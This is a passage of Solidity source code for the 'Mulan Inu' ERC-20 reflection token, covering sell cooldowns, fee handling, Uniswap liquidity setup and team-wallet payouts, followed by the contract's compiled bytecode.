_maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; tradingOpen = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b604051610130919061321e565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612da5565b610418565b60405161016d9190613203565b60405180910390f35b34801561018257600080fd5b5061018b610436565b60405161019891906133a0565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d56565b610447565b6040516101d59190613203565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b6040516102009190613415565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612de1565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cc8565b61064d565b60405161027d91906133a0565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf9190613135565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea919061321e565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612da5565b610857565b6040516103279190613203565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e33565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d1a565b610b03565b6040516103bb91906133a0565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600981526020017f4d756c616e20496e750000000000000000000000000000000000000000000000815250905090565b600061042c6104256110b1565b84846110b9565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611284565b610515846104606110b1565b610510856040518060600160405280602881526020016139ff60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c66110b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120449092919063ffffffff16565b6110b9565b600190509392505050565b60006009905090565b6105316110b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b590613300565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c6110b1565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a816120a8565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a3565b9050919050565b6106a66110b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90613300565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d554c414e000000000000000000000000000000000000000000000000000000815250905090565b600061086b6108646110b1565b8484611284565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b66110b1565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612211565b50565b6108f76110b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90613300565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c26110b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690613300565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132c0565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250b90919063ffffffff16565b61258690919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af891906133a0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b926110b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690613300565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006110b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612cf1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612cf1565b6040518363ffffffff1660e01b8152600401610de4929190613150565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612cf1565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec969594939291906131a2565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e5c565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506001601260146101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105b929190613179565b602060405180830381600087803b15801561107557600080fd5b505af1158015611089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ad9190612e0a565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112090613360565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611199576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119090613280565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161127791906133a0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90613340565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b90613240565b60405180910390fd5b600081116113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e90613320565b60405180910390fd5b6113af6107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561141d57506113ed6107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8157601260189054906101000a900460ff1615611650573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561149f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114f95750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115535750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561164f57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115996110b1565b73ffffffffffffffffffffffffffffffffffffffff16148061160f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115f76110b1565b73ffffffffffffffffffffffffffffffffffffffff16145b61164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164590613380565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116fd57600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a85750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118165750601260189054906101000a900460ff165b156118df57601260149054906101000a900460ff1661183457600080fd5b60135481111561184357600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061188e57600080fd5b601e4261189b9190613485565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118ea3061064d565b9050601260169054906101000a900460ff161580156119575750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561196f5750601260179054906101000a900460ff165b15611f7f576119c560646119b760036119a9601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250b90919063ffffffff16565b61258690919063ffffffff16565b82111580156119d657506013548211155b6119df57600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2a57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a799190613485565b1015611ac5576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bfc57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5d90613634565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611bb49190613485565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f14565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611cef57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c9490613634565b9190505550611c2042611ca79190613485565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f13565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611de257600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d8790613634565b919050555061546042611d9a9190613485565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f12565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f1157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e7a90613634565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ecd9190613485565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1d81612211565b60004790506000811115611f3557611f34476120a8565b5b611f7d600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d0565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120285750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561203257600090505b61203e848484846125f9565b50505050565b600083831115829061208c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612083919061321e565b60405180910390fd5b506000838561209b9190613566565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120f860028461258690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612123573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61217460028461258690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561219f573d6000803e3d6000fd5b5050565b60006006548211156121ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e190613260565b60405180910390fd5b60006121f4612638565b9050612209818461258690919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561226f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561229d5781602001602082028036833780820191505090505b50905030816000815181106122db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237d57600080fd5b505afa158015612391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b59190612cf1565b816001815181106123ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061245630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110b9565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124ba9594939291906133bb565b600060405180830381600087803b1580156124d457600080fd5b505af11580156124e8573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b60008083141561251e5760009050612580565b6000828461252c919061350c565b905082848261253b91906134db565b1461257b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612572906132e0565b60405180910390fd5b809150505b92915050565b60006125c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612663565b905092915050565b806008546125de919061350c565b60088190555060018111156125f65760146009819055505b50565b80612607576126066126c6565b5b6126128484846126f7565b806126205761261f612626565b5b50505050565b6002600881905550600a600981905550565b60008060006126456128c2565b9150915061265c818361258690919063ffffffff16565b9250505090565b600080831182906126aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a1919061321e565b60405180910390fd5b50600083856126b991906134db565b9050809150509392505050565b60006008541480156126da57506000600954145b156126e4576126f5565b600060088190555060006009819055505b565b60008060008060008061270987612924565b95509550955095509550955061276786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127fc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284881612a34565b6128528483612af1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128af91906133a0565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128f8683635c9adc5dea0000060065461258690919063ffffffff16565b82101561291757600654683635c9adc5dea00000935093505050612920565b81819350935050505b9091565b60008060008060008060008060006129418a600854600954612b2b565b9250925092506000612951612638565b905060008060006129648e878787612bc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612044565b905092915050565b60008082846129e59190613485565b905083811015612a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a21906132a0565b60405180910390fd5b8091505092915050565b6000612a3e612638565b90506000612a55828461250b90919063ffffffff16565b9050612aa981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b068260065461298c90919063ffffffff16565b600681905550612b21816007546129d690919063ffffffff16565b6007819055505050565b600080600080612b576064612b49888a61250b90919063ffffffff16565b61258690919063ffffffff16565b90506000612b816064612b73888b61250b90919063ffffffff16565b61258690919063ffffffff16565b90506000612baa82612b9c858c61298c90919063ffffffff16565b61298c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bda858961250b90919063ffffffff16565b90506000612bf1868961250b90919063ffffffff16565b90506000612c08878961250b90919063ffffffff16565b90506000612c3182612c23858761298c90919063ffffffff16565b61298c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c59816139b9565b92915050565b600081519050612c6e816139b9565b92915050565b600081359050612c83816139d0565b92915050565b600081519050612c98816139d0565b92915050565b600081359050612cad816139e7565b92915050565b600081519050612cc2816139e7565b92915050565b600060208284031215612cda57600080fd5b6000612ce884828501612c4a565b91505092915050565b600060208284031215612d0357600080fd5b6000612d1184828501612c5f565b91505092915050565b60008060408385031215612d2d57600080fd5b6000612d3b85828601612c4a565b9250506020612d4c85828601612c4a565b9150509250929050565b600080600060608486031215612d6b57600080fd5b6000612d7986828701612c4a565b9350506020612d8a86828701612c4a565b9250506040612d9b86828701612c9e565b9150509250925092565b60008060408385031215612db857600080fd5b6000612dc685828601612c4a565b9250506020612dd785828601612c9e565b9150509250929050565b600060208284031215612df357600080fd5b6000612e0184828501612c74565b91505092915050565b600060208284031215612e1c57600080fd5b6000612e2a84828501612c89565b91505092915050565b600060208284031215612e4557600080fd5b6000612e5384828501612c9e565b91505092915050565b600080600060608486031215612e7157600080fd5b6000612e7f86828701612cb3565b9350506020612e9086828701612cb3565b9250506040612ea186828701612cb3565b9150509250925092565b6000612eb78383612ec3565b60208301905092915050565b612ecc8161359a565b82525050565b612edb8161359a565b82525050565b6000612eec82613440565b612ef68185613463565b9350612f0183613430565b8060005b83811015612f32578151612f198882612eab565b9750612f2483613456565b925050600181019050612f05565b5085935050505092915050565b612f48816135ac565b82525050565b612f57816135ef565b82525050565b6000612f688261344b565b612f728185613474565b9350612f82818560208601613601565b612f8b816136db565b840191505092915050565b6000612fa3602383613474565b9150612fae826136ec565b604082019050919050565b6000612fc6602a83613474565b9150612fd18261373b565b604082019050919050565b6000612fe9602283613474565b9150612ff48261378a565b604082019050919050565b600061300c601b83613474565b9150613017826137d9565b602082019050919050565b600061302f601d83613474565b915061303a82613802565b602082019050919050565b6000613052602183613474565b915061305d8261382b565b604082019050919050565b6000613075602083613474565b91506130808261387a565b602082019050919050565b6000613098602983613474565b91506130a3826138a3565b604082019050919050565b60006130bb602583613474565b91506130c6826138f2565b604082019050919050565b60006130de602483613474565b91506130e982613941565b604082019050919050565b6000613101601183613474565b915061310c82613990565b602082019050919050565b613120816135d8565b82525050565b61312f816135e2565b82525050565b600060208201905061314a6000830184612ed2565b92915050565b60006040820190506131656000830185612ed2565b6131726020830184612ed2565b9392505050565b600060408201905061318e6000830185612ed2565b61319b6020830184613117565b9392505050565b600060c0820190506131b76000830189612ed2565b6131c46020830188613117565b6131d16040830187612f4e565b6131de6060830186612f4e565b6131eb6080830185612ed2565b6131f860a0830184613117565b979650505050505050565b60006020820190506132186000830184612f3f565b92915050565b600060208201905081810360008301526132388184612f5d565b905092915050565b6000602082019050818103600083015261325981612f96565b9050919050565b6000602082019050818103600083015261327981612fb9565b9050919050565b6000602082019050818103600083015261329981612fdc565b9050919050565b600060208201905081810360008301526132b981612fff565b9050919050565b600060208201905081810360008301526132d981613022565b9050919050565b600060208201905081810360008301526132f981613045565b9050919050565b6000602082019050818103600083015261331981613068565b9050919050565b600060208201905081810360008301526133398161308b565b9050919050565b60006020820190508181036000830152613359816130ae565b9050919050565b60006020820190508181036000830152613379816130d1565b9050919050565b60006020820190508181036000830152613399816130f4565b9050919050565b60006020820190506133b56000830184613117565b92915050565b600060a0820190506133d06000830188613117565b6133dd6020830187612f4e565b81810360408301526133ef8186612ee1565b90506133fe6060830185612ed2565b61340b6080830184613117565b9695505050505050565b600060208201905061342a6000830184613126565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613490826135d8565b915061349b836135d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134d0576134cf61367d565b5b828201905092915050565b60006134e6826135d8565b91506134f1836135d8565b925082613501576135006136ac565b5b828204905092915050565b6000613517826135d8565b9150613522836135d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561355b5761355a61367d565b5b828202905092915050565b6000613571826135d8565b915061357c836135d8565b92508282101561358f5761358e61367d565b5b828203905092915050565b60006135a5826135b8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135fa826135d8565b9050919050565b60005b8381101561361f578082015181840152602081019050613604565b8381111561362e576000848401525b50505050565b600061363f826135d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136725761367161367d565b